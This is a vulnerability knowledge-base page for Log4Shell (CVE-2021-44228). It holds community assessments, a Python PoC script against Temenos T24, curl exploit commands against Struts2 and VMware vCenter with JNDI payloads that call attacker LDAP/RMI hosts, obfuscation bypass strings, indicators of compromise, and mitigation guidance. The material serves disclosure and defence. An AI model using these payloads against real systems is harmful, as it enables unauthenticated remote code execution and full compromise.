Very High
CVE-2021-44228 (Log4Shell)
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(5 users assessed)Very High
(5 users assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Add Assessment
Ratings
Technical Analysis
The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:
package com.temenos.t24browser.servlets; public class FileUploadServlet extends HttpServlet { public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request); //truncated if (paramName.equalsIgnoreCase("uploadType")) { innerObj.setUploadType(paramValue); innerObj.setUploadTypeInfoFromT24(); <= //truncated
The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():
private void setUploadTypeInfoFromT24() { try { String responseXml = FileUploadServlet.this.sendUtilityRequest("OS.GET.UPLOAD.TYPE.INFO", this.uploadType, this.request); String uploadTypeInfo = Utils.getNodeFromString(responseXml, "uploadTypeInfo"); if (FileUploadServlet.LOGGER.isDebugEnabled()) { FileUploadServlet.LOGGER.debug("File upload: uploadTypeInfo=" + uploadTypeInfo); } if (!uploadTypeInfo.contains("<maxFileSize>")) { throw new IllegalArgumentException("EB-FILE.UPLOAD.TYPE.NOT.FOUND|" + this.uploadType + "|"); <= } }
As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:
import requests import base64 import sys target = sys.argv[1] cmd = base64.b64encode(sys.argv[2]) print("Attacking " + target) print("Cmd: "+ sys.argv[2]) ldap_url = "ldap://<server>:2389/Deserialization/ROME/command/base64/"+cmd burp0_url = target + "/BrowserWeb/servlet/BrowserServlet" burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": target + "/BrowserWeb/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} ct = requests.get(burp0_url, headers=burp0_headers, verify=False) token = ct.cookies.get('JSESSIONID') burp0_url = target + "/BrowserWeb/servlet/FileUploadServlet" burp0_cookies = {"JSESSIONID": token} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygrfK28lThpyA12GG", "User-Agent": "Mozilla/5.0", "Connection": "close"} burp0_data = "------WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\"uploadType\"\r\n\r\n${jndi:"+ldap_url+"}\r\n\r\n------WebKitFormBoundarygrfK28lThpyA12GG--\r\n" requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
New zero-day, aka Log4Shell or LogJam, is an unauthenticated remote code execution issue enabling full system compromise. CVE-2021-44228 analysis shows that all systems running Log4j 2.0-beta9 through 2.14.1 are vulnerable. Moreover, since the security issue impacts the default configs for most of Apache frameworks, such as Apache Struts2, Apache Solr, Apache Druid, Apache Flink, a wide range of software and web apps used by both enterprises and individual users are exposed to the attacks.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Software
Explanation: log4j
Collaboration: burp-log4shell
-
- Thanks
- Thanks
More
CVE
Protect yourself, before you break yourself… ;)
Description:
Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Usage and explanation:
Demonstration of scanning for
Log4j
vulnerability-
- NOTE: For advanced users!
- NOTE: For advanced users!
Manual installing the extension for BurpSuite
IMPORTANT:
- Check in to BApp Store if all components are deployed!
>>> from log4shell_regexes import * >>> t = lambda s: [k for k in test(s)] >>> tt = lambda s: [(k, list(v.keys())) for k, v in test_thorough(s).items()] >>> t('${ jndi\t: addr\n}') ['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${ jndi\t: addr\n') ['SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('\044%7B\\44{env:NOTHING:-j}\u0024{lower:N}\\u0024{lower:${upper:d}}}i:addr}') ['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${base64:d2hvIHRob3VnaHQgYW55IG9mIHRoaXMgd2FzIGEgZ29vZCBpZGVhPwo=}') ['ANY_RE', 'ANY_INCL_ESCS_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('%24%7Bjnd%24%7Bupper%3A%C4%B1%7D%3Aaddr%7D') ['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('$%7B\u006a\\156di:addr\\x7d') ['ANY_INCL_ESCS_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${jndi:${lower:l}${lower:d}a${lower:p}://$a{upper:d}dr}') ['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${jndi:dns://addr}') ['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${${base64:am5kaTpsZGFwOi8vYWRkcgo=}}') # LOG4J2-2446 ['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${jndi:${lower:l}${lower:d}a${lower:p}://addr') ['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${${::-j}nd${upper:ı}:rm${upper:ı}://addr}') ['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//addr}') ['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] >>> t('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D') [] >>> tt('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D') [ ( '\\u002524%7Bjnd%24%7Bupper%5Cu003a%5C%5C461%7D%3Aldap%3A\\0452F%2Faddr%7D', ['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] ), ( '${jnd${upper\\u003a\\\\461}:ldap://addr}', ['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] ), ( '${jnd${upper:\\461}:ldap://addr}', ['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] ), ( '${jnd${upper:ı}:ldap://addr}', ['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE'] ) ]
Docker vulnerable app:
cd vuln_app/CVE-2021-44228-VULN-APP/ docker build -t log4j-shell-poc . docker run --network host log4j-shell-poc
- Listening on port
8080
Support for vulnerable machine APP by
kozmer
Support for Burp module by
silentsignal
Demo, testing, and debugging by
nu11secur1ty
Video and reproduce of the vulnerability
- NOTE: The test is outside of the credentials for login! ;)
More
Information
Scanner
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Seemingly ubiquitous logging library—vulnerable implementations are going to be widespread. Multiple PoC exploits are publicly available, and broad opportunistic attacks already occurring, but I’d expect with all the different implementations, we’ll be seeing new attack vectors for weeks or months to come. Update all your dependencies ASAP, and/or take systems and services with known-vulnerable implementations offline right away. Exploitation sure to increase even further. https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery High
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Vendors
- Apache Software Foundation
Products
- Apache Log4j2
Metasploit Modules
Exploited in the Wild
- Threat Feed (https://twitter.com/GreyNoiseIO/status/1469326260803416073)
- News Article or Blog (https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/)
- Personally observed in an environment
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://us-cert.cisa.gov/ncas/alerts/aa22-279a)
- News Article or Blog (https://www.tenable.com/blog/contileaks-chats-reveal-over-30-vulnerabilities-used-by-conti-ransomware-affiliates)
- Other: Ransomware Report 2023 (https://cybersecurityworks.com/howdymanage/uploads/file/Ransomware%20Report%202023_compressed.pdf)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Advisory
Miscellaneous
Additional Info
Technical Analysis
Description
Information and exploitation of this vulnerability are evolving quickly. We will update this analysis with further information as it becomes available. Individual product analyses will be appended to the end of this entry.
On December 10, 2021, Apache released version 2.15.0 of their Log4j framework which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a}
would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.
CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.
A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.
Affected
According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.
Apache Struts 2 also appears to be trivially vulnerable to CVE-2021-44228. See the section on Struts 2 below for details.
Analysis
Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat with a recent Java version. This is demonstrated below.
root@c9b80b027e02:~# java -version openjdk version "11.0.13" 2021-10-19 OpenJDK Runtime Environment 18.9 (build 11.0.13+8) OpenJDK 64-Bit Server VM 18.9 (build 11.0.13+8, mixed mode, sharing) root@c9b80b027e02:~#
Executing the PoC
Thanks to @jbaines-r7 for the following PoC!
wvu@kharak:~$ curl -vso /dev/null http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0.0.1:1099/ylbtsl}' * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > POST /struts2-showcase/token/transfer4.action HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.80.0 > Accept: */* > Content-Length: 53 > Content-Type: application/x-www-form-urlencoded > } [53 bytes data] * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Set-Cookie: JSESSIONID=3BFF4CC3CF62065B2BA6547052EFB619; Path=/struts2-showcase; HttpOnly < Content-Type: text/html;charset=ISO-8859-1 < Content-Language: en < Transfer-Encoding: chunked < Date: Fri, 10 Dec 2021 22:21:39 GMT < { [16145 bytes data] * Connection #0 to host 127.0.0.1 left intact wvu@kharak:~$
Catching the RMI callback
javax.el.ELProcessor
(via org.apache.naming.factory.BeanFactory
) is used here. (RMI server output trimmed.)
2021-12-10 22:21:39 [RMISERVER] >> Have connection from /127.0.0.1:33474 2021-12-10 22:21:39 [RMISERVER] >> Reading message... 2021-12-10 22:21:39 [RMISERVER] >> Is RMI.lookup call for ylbtsl 2 2021-12-10 22:21:39 [RMISERVER] >> Sending local classloading reference. 2021-12-10 22:21:39 [RMISERVER] >> Closing connection
Proving RCE with touch /tmp/vulnerable
Command is executed as the user running Tomcat.
root@c9b80b027e02:~# ls -l /tmp/vulnerable -rw-r----- 1 root root 0 Dec 10 22:21 /tmp/vulnerable root@c9b80b027e02:~#
Log artifacts
Access log and console log, respectively.
172.17.0.1 - - [10/Dec/2021:22:21:39 +0000] "POST /struts2-showcase/token/transfer4.action HTTP/1.1" 200 17976
Warning: Nashorn engine is planned to be removed from a future JDK release 2021-12-10 22:21:39,103 WARN [http-nio-8080-exec-7] util.TokenHelper (TokenHelper.java:134) - Could not find token mapped to token name: javax.el.ELProcessor@664bb022
Guidance
Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap
strings) and local system events on web application servers executing curl
and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.
According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0. In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups
or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS
to true
. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup
class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
. Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase
and com.sun.jndi.cosnaming.object.trustURLCodebase
to false
.
According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase
is set to false
, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups
to true
or by removing the JndiLookup
class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase
and com.sun.jndi.cosnaming.object.trustURLCodebase
to false
. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.
Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:
” in any inbound request and monitoring all application and web server logs for similar strings.
EmergentThreat Labs has made Suricata and Snort IDS coverage for known exploit paths of CVE-2021-44228.
Resources
- https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0
- https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/apache-releases-log4j-version-2150-address-critical-rce
Apache Struts 2 Vulnerable to CVE-2021-44228
We believe Rapid7 discovered this exploit vector.
Severity
Basically all Struts implementations should be trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
curl -vv -H "If-Modified-Since: \${jndi:ldap://localhost:80/abc}" http://localhost:8080/struts2-showcase/struts/utils.js
Indicator of Compromise
This log entry is from the catalina.out file:
2021-12-11 17:58:45,991 WARN [http-nio-8080-exec-2] dispatcher.DefaultStaticContentLoader (DefaultStaticContentLoader.java:241) - Invalid If-Modified-Since header value: '${jndi:ldap://localhost:80/abc}', ignoring
Write-up
The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the struts2 class DefaultStaticContentLoader.
The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228. Specifically it has this chunk of code:
protected void process(InputStream is, String path, HttpServletRequest request, HttpServletResponse response) throws IOException { if (is != null) { Calendar cal = Calendar.getInstance(); // check for if-modified-since, prior to any other headers long ifModifiedSince = 0; try { ifModifiedSince = request.getDateHeader("If-Modified-Since"); } catch (Exception e) { LOG.warn("Invalid If-Modified-Since header value: '{}', ignoring", request.getHeader("If-Modified-Since")); }
Or here if you prefer.
You can see it checks if the date is valid and warns when it is not. So, to exploit this we need only request a static item with an evil If-Modified-Since
header. Here is an example that works against struts2-showcase.
curl -vv -H "If-Modified-Since: \${jndi:ldap://localhost:80/abc}" http://localhost:8080/struts2-showcase/struts/utils.js
The simple example above generates a log message like:
2021-12-11 17:58:45,991 WARN [http-nio-8080-exec-2] dispatcher.DefaultStaticContentLoader (DefaultStaticContentLoader.java:241) - Invalid If-Modified-Since header value: '${jndi:ldap://localhost:80/abc}', ignoring
Struts 2, by default, has a few static items:
- tooltip.gif
- domtt.css
- utils.js
- domTT.js
- inputtransfersselect.js
- optiontransferselect.js
Given the default static content, basically all Struts implementations should be trivially vulnerable.
Apache Struts2 Vulnerable to CVE-2021-44228 (Second Variant)
We originally saw a variant of this exploit posted on YouTube by Nguyen Jang. Unfortunately, we aren’t sure if this is the original exploit developer or not.
Severity
Basically all Struts implementations should be trivially exploitable by a remote and unauthenticated attacker using this method too!
Proof of Concept Exploit
curl -vv http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
Indicator of Compromise
2021-12-13 10:26:47,908 WARN [http-nio-8080-exec-7] mapper.DefaultActionMapper (DefaultActionMapper.java:419) - /${jndi:ldap:${::-/}/10.0.0.6:1270/abc} did not match allowed namespace names [a-zA-Z0-9._/\-]* - default namespace / will be used!
Write-up
This vulnerability resides in the DefaultActionMapper.java.
protected String cleanupNamespaceName(final String rawNamespace) { if (allowedNamespaceNames.matcher(rawNamespace).matches()) { return rawNamespace; } else { LOG.warn( "{} did not match allowed namespace names {} - default namespace {} will be used!", rawNamespace, allowedNamespaceNames, defaultNamespaceName ); return defaultNamespaceName; } }
This class is attempting to parse the provided URI to determine the namespace the called for action is in. This is almost straight forward except that Tomcat combines “//” into “/” under the hood. So the following:
curl -vv http://localhost:8080/struts2-showcase/$%7Bjndi:ldap://10.0.0.6:1270/abc%7D/
Ends up looking like this in the log:
2021-12-13 10:35:04,484 WARN [http-nio-8080-exec-4] mapper.DefaultActionMapper (DefaultActionMapper.java:419) - /${jndi:ldap:/10.0.0.6:1270/abc} did not match allowed namespace names [a-zA-Z0-9._/\-]* - default namespace / will be used!
However, using one the logs4j “bypasses” we can get around the limitation of not being allowed consecutive / characters. Simply replace the first character with ${::–/} and the attack works… after some URL encoding.
Again, in its final form.
curl -vv http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
VMWare VCenter Vulnerable to CVE-2021-44228 (websso variant)
A version of this exploit was originally posted on Twitter by @w3bd3vil.
Severity
Basically all VCenter instances should be trivially exploitable by a remote and unauthenticated attacker.
Proof of Concept Exploit
curl --insecure -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="
Indicator of Compromise
This log entry is from /var/log/vmware/sso/websso.log
file:
[2021-12-13T16:31:34.000Z tomcat-http--15 photon-machine.lan fcf6634c-4722-4b22-9c46-d78a86f0b388 INFO auditlogger] {"user":"n/a","client":"${jndi:ldap://10.0.0.3:1270/lol}, 10.0.0.3","timestamp":"12/13/2021 16:31:33 UTC","description":"User n/a@${jndi:ldap://10.0.0.3:1270/lol}, 10.0.0.3 failed to log in: org.opensaml.messaging.decoder.MessageDecodingException: No SAMLRequest or SAMLResponse query path parameter, invalid SAML 2 HTTP Redirect message","eventSeverity":"INFO","type":"com.vmware.sso.LoginFailure"}
Write-up
VMWare VCenter’s log-in page (/websso/SAML2/SSO/<hostname>
), requires the user to provide a SAMLRequest parameter. When the SAMLRequest parameter is empty (or there is an issue parsing it) the system logs an error to /var/log/vmware/sso.log
. VCenter will use the value in the HTTP X-Forwarded-For
field as the “client” in the log message. Inserting a log4j payload into that header and making a request to the VCenter log in page result in exploitation.
curl --insecure -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="
The only “challenge” for an attacker is deriving the hostname (photon-machine.lan in the above example). Of course, the value is auto-populated for the attacker simply by sending a GET request to https://10.0.0.4/ui/Login.
albinolobster@ubuntu:~/metasploit-framework$ curl --insecure -vv https://10.0.0.4/ui/login * Trying 10.0.0.4:443... * Connected to 10.0.0.4 (10.0.0.4) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=10.0.0.4; C=US * start date: Dec 13 16:01:30 2021 GMT * expire date: Dec 14 04:01:30 2023 GMT * issuer: CN=CA; DC=photon-machine; DC=lan; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > GET /ui/login HTTP/1.1 > Host: 10.0.0.4 > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 302 < Strict-Transport-Security: max-age=30758400;includeSubDomains < X-XSS-Protection: 1; mode=block < Set-Cookie: VSPHERE-UI-JSESSIONID=DAA6014138AE2581C91000A5AF07B77F; Path=/ui; Secure; HttpOnly < X-Frame-Options: deny < Cache-Control: no-cache, no-store, max-age=0, must-revalidate < Cache-Control: no-store < Pragma: no-cache < Location: https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest=zVRLj9owEL73V0S%2BJ86DAmsBK7p0VaR90E1aVb1UTjKApcROPQ5h%2F33tAC3ablccq9ysmW%2B%2BlzK53teVtwONQskpiYKQeCALVQq5mZIv2a0%2FJtezdxPkddWweWu28gl%2BtoDGmyOCNnbtRklsa9Ap6J0oYClL2E%2BJBVrYMSG56aG3xjTIKI3CwH0D2kGOqGg6v7%2BLaZo%2B0marjJJ%2BzYutkBBUXBLvVukC%2BrNTsuYVAvGWiyn5MSzGYTmAPErKMEreDyMeX40SfjUu8vE4L9wYrjii2MGfRcTWskPDpZmSOIwjP4r9KMmiEQsHLEyCYTL6TryVtjwKVX0Q8mBDqyVTHAUyyWtAZgrmWLM4CFl%2BGEL2KctW%2FuoxzXqAnShBP9hp6%2BlRMBsMEuJ9PVkdO6ut%2BRJZb%2B7bZ5ojJzI7RtGL0ZcD8FNaZPZXEq2gDuGUSA2Gl9zwCT0%2FdTgcN8ypWi5WqhLFszevKtXdaODGKjW6hT6ympu32bgXUfrrfpQ1zhM0IA3x0pXD%2F9zySqwF6Fd68w%2B252bGl7pJj6qY7XApnD14DnOxpS9RjiA7u3JQYAXs6o5rCApVUyy2UHOk3Bjt98A0DqOYhgP6cW99cA3Bk6A9it8YXdcFXRIovbELYUS%2F3d%2BlPZYv%2Bl674tt5Zp4bm4c7z55AQsfzCjL79org%2F4jqAirYnFOlL8OZnTp5%2Fiea%2FQI%3D&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=E18tnqbleRdUtNttm0nQlQrC5nQjpePeabX9HKhhCp071Xxv%2FJS4erPM%2BId6gDvRP1bdqgqMfVHKyfzVWGZhLj28X7645y%2BxEFLNKaKk6TtFvSk7YWUpeLeev0fvWrqLbhu%2Fal32Wf3u9%2B1PKNAfA8tve4NBezJiLnnm4n%2FaFhn%2FaL4GHOaeEXnP0dEktfh%2FgmqBeRyv0UDEJuBTU5l1dhn43jSU4O7O8WzMidRPf1ckG5f3ug91B6PkLVdpfXcIcKTtNZJtefpAAoRgJUMGjerzqMgqr4AT%2BXPJ7pkIOxfYTIZe3W2Tloio82xEitKDklTtzoDEFzFvMCiYQdCDqw%3D%3D < Content-Length: 0 < Date: Mon, 13 Dec 2021 17:04:03 GMT < Server: Anonymous <
So, it’s trivial to find the vulnerable endpoint and exploit it.
VMWare VCenter Vulnerable to CVE-2021-44228 (Analytics Variant)
Severity
VMWare VCenter is trivially exploitable by a remote and unauthenticated attacker using the analytics API.
Proof of Concept Exploit
curl -vv --insecure -X POST "https://10.0.0.4/analytics/telemetry/ph/api/hyper/send?_c=\$%7Bjndi:ldap://10.0.0.3:1270/l%7D&i=test"
Indicator of Compromise
The initial exploit triggers the payload to be logged in /var/log/vmware/analytics/analytics.log
.
